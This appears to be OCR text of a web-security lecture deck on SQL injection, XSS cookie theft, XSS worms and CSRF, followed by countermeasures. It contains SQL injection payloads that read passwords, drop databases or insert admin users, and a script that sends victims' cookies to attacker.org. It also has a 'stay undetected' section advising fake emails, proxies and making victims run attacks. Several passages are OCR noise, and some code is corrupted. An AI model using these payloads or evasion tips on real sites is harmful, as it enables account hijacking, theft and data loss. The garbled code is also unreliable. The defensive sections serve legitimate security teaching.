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Why Web Security if we have buffer
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do we want to website at all?




The Bright Side

® Because it is fun




The Dark Side

® Because you are being heard

® Because you feel powerful




The Dark Side

® Because you are being heard

® Because you feel powerful
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SQL-Injection

HI, THIS 1S OH, DEAR = DID HE | DID YOU REALLY WELL, WE'VE LOST THIS

YOUR SON'S SCHOOL. | BREAK SOMETHING? | NAME YOUR SON YEARS STUDENT RECORDS.

WERE HAVING SOME | |\ 0\ oy, Robet'); DROP T HOPE YOURE HAPPY.
/ TABLE Students; -~ 7 \l‘

COMPUTER TROUBLE.

AND I HOPE
~OH.YES LITTLE - YOUVE LEARNED
BOBBY TABLES, L TOSANIMIZE YOUR
WE CALL HIM. DATABASE INPUTS.




$id = $_GET['id;
$sql = "SELECT username, password
FROM user WHERE id = $id";

mysql _query($sql);




$id = $_GET['id;
$sql = "SELECT username
FROM user WHERE id = $id";

mysql _query($sql);




SELECT n FROM uWHERE id = '$id’

we want it to look like that:
SELECT n FROM uWHERE id = '0' UNION

SELECT pass FROM uWHERE id = "I
crafting $id as follows:
0' UNION SELECT pass FROM uWHERE c ='|
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SELECT n FROM u WHERE id = '$id’
ORDER BY a ASC LIMIT 0,10

we are not interested in ordering or other useless
garbage - it can even mess up our query!

Use query delimiter '--' and craft $id as fO||OWS‘
~ 0"UNION SELECT pass FROM uWHERE ¢







SELECT n FROM uWHERE id = 0; DROP
DATABASE db name




SELECT n FROM uWHERE id = 0; DROP
DATABASE db _name

SELECT n FROM uWHERE id = 0; INSERT
INTO u (name, pass, email, admin) VALUES
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SELECT n FROM uWHERE id = 0; DROP
DATABASE db _name

SELECT n FROM uWHERE id = 0; INSERT
INTO u (name, pass, email, admin) VA




SELECT n FROM uWHERE id = 0; DROP
DATABASE db _name

SELECT n FROM uWHERE id = 0; INSERT
INTO u (name pass, email, admln) VA
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Blind SQL-Injection

® Performing SQL-Injection without error
messages

SO Look for sllght d|fferences in error messages‘_ 4_
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And what can we do, if we don't find a way







$search = $ POST['search'];
/| do stuff
echo <|nput name= search" value—"$search" />
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How to store the cookie

® Get a free webspace (or the community
cookie logger)

® Create index.php:
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How to store the cookie

® Place |S on target website:

<script>document.write('<iframe
style="display:none" src="http://
attacker.org/?d="+document.cookie+"></
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Goals

® Why should we use a phishing website, if we
can use the real website!

® |n General: Manipulate data shown on the
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Buying stuff for low prices

® There are online-shops out there that
seriously transfer the price of articles by an
- HTTP-POST instead of reading out the price
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Collect Data the Big Style...

® ..with a JavaScript worm

® Collects several thousands of account data
within an hour

® MySpace Worm sends out friend requests to
a specific account (Samy). After 20 hours he
got over 1,000,000 friend requests

® (Samy got sued by MySpace) w BetaNews \\f""eFOfum

Login: Password: ( Sign In \ Lost Password?

Search: | All Articles +| (search ) Ag::’:g;d

g4 Subm

Print this article | E-mail this article | Comment on this article

Cross-Site Scripting Worm Hits MySpace

By Nate Mook, BetaNews
October 13, 2005, 6:28 PM




Securiteam™

SecuriTeam Home

Blogs About Write with us

XSS Worm strikes GaiaO

nline
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LogIn

Username:

GaiaOnline is a highl QQiQ : " Reaister T

XSS worm. ExaCtly W OontIne™ Forgot your login?
[ Remember Me

Kuza. I'll be writing 2
ool [Tad=le =1ale Rdl-Ng=1" Home | Shop | Community | World | Games

Be the -,
Reql You. .,

On Gala, you can be who you want
without reality in the way. With thousands
of items to choose from, your Gala avatar
can be classy, sexy, scary or ridiculous...or
all of the above. You're limited only by
your imagination and your Gala Gold.




What does a |S worm do!?

® Steal Cookie / Replace Login Form

® Read out friends list, buddy list, or general
- userlist (AJAX)
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Hijack Browser

® Collect all links and alter them so that the
content of the target link is loaded by an
AJAX-request. This looks a bit odd, but

works.
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Permanent XSS

® XSS in an URL is not permanent

® Permanent: Place <script src="..." /> cookie
ogger in a guestbook
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What we covered so far

® SQL-Injection to read out username, email,
password etc. from database

® XSS to steal cookie (session hijacking)
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How do we launch the attack




How to stay undetected

® Useful: Fake email address, free webspace
- (registered with fake email address), proxies

ey AT ) o RS R R N Sy
R PSSP Rrs N2 et OO ¢ e i T e bl andbe b, s eg Sl s ’.-.-“;;.»“’.'Z'.. i Sy b o L ‘,,,l,_;\. e A e e SN 150 .\-.‘.\"}:l' R SR e e ‘i.u(‘..




How to stay undetected

® | et other users execute your attack by
crafting a link and letting them click on it
(their browser executes the attack)

S et Bt al S S ) S le s R RS e Lo i S e
A PR v Tk 2 T g

S A
el P g
et e

N PP T T e St R R SN T R e ahy B SR S R Rt S e Sl S S N ISR BT RN ST g Sy et g A L SR v
PR PR Al " Ty O A3 el t el i R o LY L, TNy LY e S v, . i AR > AL RN o IO
o RO AT et AR s (e 12 £y Rl B A h b B CRaDER L Sk SR S L G N e B PR ;4 T A : o a kR N R0 5, T ek g S
A e A S ol A S ORI o MR e S R R At ISR R Ol L B et L R A '?“;\ R B e Co 4y i SRR AT L e S A R Rl (s e 6 A e
B N SR ) ol 4 ¥ et Saare N i W W S e g A " -4 P e =y




How to stay undetected

e I[fitisan HTTP-POST attack, create a




How to stay undetected

® | et GoogleCrawler execute your stuff:




Countermeasures




It is all about sanitizing input.




Countermeasures

® Whitelist instead of Blacklist (regexp)
® preg match("/*[a-z0-9]1%/", $input);
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Countermeasures

® Use regexp function (never ever use $ GET
anywhere):

e function GET($type, $name) {
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Countermeasures

® HttpOnly Cookies (not readable by JS)

® Session Management: Add additional
parameters (IP-address, User Agent, ...)
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Countermeasures

® Caution with keyword-filtering (blacklisting):

® Assume your function looks for <script>
and removes it from the |nput string. VWhat
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Countermeasures

® Caution with keyword-filtering (blacklisting):

® Assume your function looks for <script>
and removes it from the |nput string. VWhat
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Countermeasures

® Caution with keyword-filtering (blacklisting):

® Assume your function looks for <script>
and removes it from the input string. VWhat




Countermeasures

® Caution with keyword-filtering (blacklisting):

® Assume your function looks for <script>
and removes it from the input string. VWhat




Countermeasures

® Caution with keyword-filtering (blacklisting):

® Assume your function looks for <script>
and removes it from the input string. VWhat







How do Cookies work?

® Cookies are automatically transfered to the
web server with each HT TP-Request

® What happens if | send you a link to a
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Assume you are a hewsposter; you are
permanently logged in and you also have the
rlghts to delete news. There is this fancy I|nk
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Ride other people's sessions

® Craft a link to perform an operation (like
delete)

® Bypass useless crap like "Do you really want
to delete news id 23?" by giving him:
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Other Possibilities

® | et people bid on your eBay-auctions

® | et people buy stuff (might require
additional information such as credit card
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The favorite target of Session Riding are
OpenSource Web Applications, since you
can install them by yourself and check how
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Countermeasures

® Fach call for an operation generates an

unguessable token that is stored in the user's
session and in the HTML-form (or URL)

e "Do you really want to delete news |d 237"
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Useful Tools

® Cookie-Editor ® (Cain & Abel

® HTTP Headers ® Rainbow Tables

® HTTP-POST-Sender ® Dictionary Attacker and

J R ol L S il S & A Tk red Sy
okt T B 4 A - A AV A A v S al
bt & - Y Ny 3 7 : i
’ e ol R e 2B he R S s N

N 1l IaY~ o o N VA oY miie e s ey
&\, - g§~lb '«”T.-Q'_ux - ": wl @) \\w | |
LI A ALRLRCR AU AR A, LA BN

' -~ d b v K} 5



Useful Links

® http://securitystats.com/tools/hashcrack.php

® http://www.milwOrm.com
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References

® MySpace Worm (http://namb.la/popular/)

® Securenet GmBH,Whitepaper about Session Riding (http://
www.securenet.de/) and various other security things
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